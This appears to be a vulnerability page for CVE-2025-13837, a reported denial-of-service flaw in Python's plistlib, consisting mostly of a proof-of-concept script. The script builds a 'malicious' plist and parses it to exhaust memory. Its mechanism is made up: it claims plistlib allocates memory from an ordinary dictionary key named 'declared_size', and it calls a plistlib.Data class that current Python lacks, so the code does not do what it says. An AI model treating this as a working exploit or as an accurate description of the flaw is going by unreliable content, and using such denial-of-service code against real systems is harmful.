CVE-2025-13837: Python plistlib模块拒绝服务漏洞

#!/usr/bin/env python3 """ CVE-2025-13837 PoC - Python plistlib OOM DoS This PoC demonstrates the memory exhaustion vulnerability in Python's plistlib module. """ import plistlib import struct import os def create_malicious_plist(output_path, fake_size=1024*1024*1024): """ Create a malicious plist file that declares an extremely large size, causing plistlib to attempt allocating huge amounts of memory. Args: output_path: Path to save the malicious plist file fake_size: The fake size to declare in the plist (default: 1GB) """ # Create a minimal plist with an oversized data field malicious_data = { 'malicious_payload': plistlib.Data(b'\x00' * min(fake_size, 1024*1024)), # Limit actual data 'declared_size': fake_size # This is what plistlib reads to allocate memory } with open(output_path, 'wb') as f: plistlib.dump(malicious_data, f) print(f'[+] Malicious plist created: {output_path}') print(f'[+] Declared size: {fake_size} bytes ({fake_size/(1024**3):.2f} GB)') def trigger_vulnerability(plist_path): """ Attempt to parse the malicious plist file to trigger OOM. """ print(f'[*] Attempting to parse: {plist_path}') try: with open(plist_path, 'rb') as f: data = plistlib.load(f) print('[!] Parsed successfully - vulnerability may be patched') except MemoryError as e: print(f'[+] MemoryError triggered - vulnerability confirmed: {e}') except Exception as e: print(f'[-] Error: {type(e).__name__}: {e}') if __name__ == '__main__': import sys # Create malicious plist with 1GB declared size fake_size = int(1024**3) # 1GB output_file = 'malicious.plist' create_malicious_plist(output_file, fake_size) trigger_vulnerability(output_file) # Cleanup if os.path.exists(output_file): os.remove(output_file)